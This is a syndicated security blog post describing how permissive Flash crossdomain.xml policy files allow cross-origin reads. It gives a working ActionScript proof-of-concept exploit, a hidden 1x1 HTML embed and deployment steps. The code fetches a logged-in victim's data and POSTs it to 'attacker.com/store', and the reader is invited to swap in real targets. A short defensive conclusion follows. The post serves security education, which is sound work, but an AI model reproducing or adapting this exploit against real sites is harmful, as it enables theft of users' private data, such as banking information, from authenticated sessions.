Exploiting Insecure crossdomain.xml to Bypass Same Origin Policy (ActionScript PoC)
Adobe Flash is among the most popular browser plugins and also ships by default with a couple of popular web browsers. Its widespread prevalence has made it a frequent target of attacks and also been as a vector to launch attacks. One such attack vector is to use Flash for cross-domain data access.
In this blog post we will review at a known attack vector and create a Proof of Concept exploit to bypass browser’s Same-origin policy for websites that host an overly permissive cross-domain policy file.
Cross-domain Policy Files
Flash Player’s default security model enforces the same origin policy similar to contemporary browsers and does not allow cross domain data read operations. However, it can make exception to this rule and disregard its default security model if a website in question hosts a cross-domain policy file (named crossdomain.xml) to allow data access from other domains. Insecurely written cross-domain policy files can expose critical application data over the internet. The example policy file below shows once such example where the website opens itself to read access from every running instance of Flash Player.
<cross-domain-policy>
<allow-access-from domain=”*” />
</cross-domain-policy>
|
To understand the impact of such cross-domain policy file, let us consider a scenario where a bank website has such a policy file.
-
A user logs on to the banking website.
-
The user then visits another website in different browser tab and that website hosts a malicious Flash file to retrieve user information from the bank website.
-
When the Flash Player notices an attempt to perform cross-domain read operation, it retrieves crossdomain.xml file from the bank website to discover the permitted operations.
-
It then sends out a read request to a known bank URL that returns sensitive information like user bank account numbers, account balance etc…
-
The browser adds user’s session cookies to the outgoing requests and since the user is logged in, the malicious Flash file is served with critical user information.
-
The Flash file then passes it on to the malicious server.
The ActionScript exploit code
I wanted to demonstrate the impact of this vulnerability but could not find a Proof of Concept ActionScript code. After tinkering around with ActionScript and Apache Flex SDK, I had a working PoC which is provided below along with the HTML file that I used to embed the Flash file.
// Author: Gursev Singh Kalra ([email protected])
// XDomainXploit.as
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = “http://victim.com/supersecret”;
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace(“Error loading URL: ” + error);
}
}
private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = “http://attacker.com/store”
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace(“Error loading URL: ” + error);
}
}
}
}
|
The following HTML file can be used to embed the flash file for delivery.
<html>
<object type=”application/x-shockwave-flash” data=”XDomainXploit.swf” width=”1″ height=”1″>
<param name=”movie” value=”XDomainXploit.swf” />
</object>
</html>
|
Compiling and deploying the ActionScript code
I used Apache Flex SDK to compile the ActionScript code and you can follow the below provided steps to get your exploit working.
-
Copy the ActionScript code to your local directory and name it XDomainXploit.as.
-
Change the values of readFrom and sendTo parameters to appropriate values as per your needs.
-
Compile the code with the mxmlc compiler to a Flash file by running the following command. The mxmlc compiler is shipped with Apache Flex.
mxmlc XDomainXploit.as
-
Deploy the generated Swf and the provided HTML files to enjoy the Flash goodness.
Figure 1: Image shows ActionScript compile operation
Figure 2: Image shows the sequence of requests during PoC execution
The code example above uses hard coded values for readFrom and sendTo parameters in ActionScript code but you can have Flash retrieve these fields from your HTML page using ActionScript’s ExternalInterface class or make the ActionScript to retrieve targets from your attack server at runtime.
Conclusion
Carefully analyze the proposed cross-domain application architecture from security perspective before deploying new or updated cross-domain policy files and make sure that exposure is minimal by not having overly permissive entries in your files. Consider reviewing the following two documents from Adobe that have extensive information on Adobe Flash Player security.
-
Cross-domain policy file usage recommendations for Flash Player http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html
-
Adobe Flash Player 9 Security [PDF] http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/flashplayer/pdfs/flash_player_9_security.pdf
*** This is a Security Bloggers Network syndicated blog from Random Security authored by Gursev Singh Kalra. Read the original post at: http://gursevkalra.blogspot.com/2013/08/bypassing-same-origin-policy-with-flash.html